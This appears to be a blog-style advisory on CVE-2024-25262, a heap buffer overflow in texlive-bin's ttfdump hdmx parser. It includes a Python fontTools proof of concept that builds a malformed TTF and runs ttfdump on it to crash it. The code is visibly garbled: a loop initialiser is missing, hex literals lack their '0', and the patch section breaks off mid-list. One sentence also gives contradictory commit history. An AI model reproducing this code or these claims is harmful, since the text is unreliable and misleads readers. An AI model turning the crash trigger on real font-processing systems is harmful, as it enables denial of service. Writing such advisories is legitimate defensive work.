CVE-2024-25262 - Heap Buffer Overflow in texlive-bin’s ttfdump (ttfLoadHDMX) – Denial of Service via Crafted TTF Files

In early 2024, a serious vulnerability—CVE-2024-25262—was discovered in the texlive-bin package, specifically in its ttfdump utility as maintained by commit c515e. The issue stems from a classic heap buffer overflow in the function ttfLoadHDMX. Here, we’ll break down how the bug works, how it can be exploited, and show you a minimal proof of concept. This read is written with simplicity in mind, suitable for IT staff and security researchers with basic C knowledge.

What is texlive-bin and ttfdump?

- texlive-bin is a key package in the TeX typesetting suite. It provides binary tools for managing fonts, including the ability to parse and analyze TTF (TrueType Font) files.
- ttfdump is a utility in texlive-bin that inspects and outputs information from TTF files for debugging or font development.

Vulnerability Details

The vulnerability happens inside the ttfLoadHDMX function, which is responsible for loading the 'hdmx' (Horizontal Device Metrics) table from a TTF file.

Tainted or carefully-crafted TTF files can contain malformed hdmx data structures. When ttfdump tries to open and parse these, it doesn't properly check buffer boundaries. This allows a malicious file to overflow its allocated heap space, leading to a controlled crash (Denial of Service) or potentially, with more finesse, code execution.

What is a Heap Buffer Overflow?

A heap buffer overflow occurs when data overflows from one part of a program's memory (the heap) into adjacent memory, overwriting data or code in unpredictable ways. This can cause crashes or, in more severe cases, allow attackers to run their own code.

The Root Cause: Insecure Code Path

Below is an extract simplified from the texlive-source with the vulnerable code. Comments show where things go wrong.

/* Simplified vulnerable code fragment */
void ttfLoadHDMX(TTFONT *font) {
    BYTE *hdmxTable = get_hdmt_table(font);
    ULONG n = get_num_records(hdmxTable);  // Based on TTF file data
    HdmxRec *recs = (HdmxRec *)malloc(n * sizeof(HdmxRec));
    
    // Missing: A check on value of n (could be huge or corrupted)

    for (ULONG i = ; i < n; i++) {
        // Heap overflow occurs here if 'n' is insane large or data is bad
        recs[i].pixelSize = hdmxTable[offset];
        /* ... */
    }

    free(recs);
}

The problem: The value of n comes entirely from the TTF file’s table. It’s not validated. If a malicious user crafts a TTF with a very high (or negative, when interpreted unsigned) value for n, malloc(n * size) allocates too little or too much memory, and the for-loop writes out of bounds in heap.

Exploit Scenario

Let’s walk through how an attacker might turn this bug into a usable exploit—most commonly, a Denial of Service (DoS) against environments that process untrusted TTF files (CI pipelines, font servers, certain TeX workflows).

Example Malicious TTF

For illustration, an attacker crafts a TTF where the 'hdmx' table falsely claims an enormous number of records (for instance, xFFFFFFFF), while the actual data provided is minimal.

Proof of Concept

You can test this on a Linux/Unix system with texlive-bin installed.

You can use a python script (with fonttools) or hex-edit a TTF file. We'll use a placeholder here

# save as badhdmx.py
from fontTools.ttLib import TTFont

# Open a valid TTF as a template
font = TTFont("Arial.ttf")
hdmx = font.getTableData('hdmx')

# Overwrite the hdmx header with a huge record count
badhdmx = bytearray(hdmx)
badhdmx[2:4] = (xFF, xFF)  # Set number of records high

font.setTableData('hdmx', badhdmx)
font.save("bad-hdmx.ttf")

Step 2. Run ttfdump

ttfdump bad-hdmx.ttf
# This will likely crash or hang, triggering the heap overflow.

Step 3. Observe the Crash

You should see a segmentation fault, heap buffer overflow, or an error from your system’s malloc/free debugging.

Patch & Mitigation

As of commit c515ee5ab7, this bug was introduced and later patched.

Patch logic

The fix is to add proper bounds checking to the code before any buffer allocation and before the loop, to make sure:

Modern equivalent code

if (n > MAX_HDMD_RECORDS || table_length < n * RECORD_SIZE) {
    /* error: invalid table */
    return;
}

Make sure your TeX Live installation is up to date with these patches.

Official References

- CVE-2024-25262 on NVD
- Upstream bug: texlive-source GitHub issue
- Patch commit c515e

Who is at Risk?

- CI/CD pipelines that automatically inspect user-uploaded fonts

Conclusion

CVE-2024-25262 is a high-impact, easily-exploitable bug lurking in a niche utility. In shared or multi-tenant environments, a single malformed font file can disrupt your workflow. Patch early and stay safe!

Have questions? Contact TeX Live maintainers.


*This post is original content. Sharing is allowed with attribution. For technical deep-dives, always review the official patch notes and NVD links.*

Timeline

Published on: 02/29/2024 01:44:15 UTC
Last modified on: 09/04/2024 19:35:11 UTC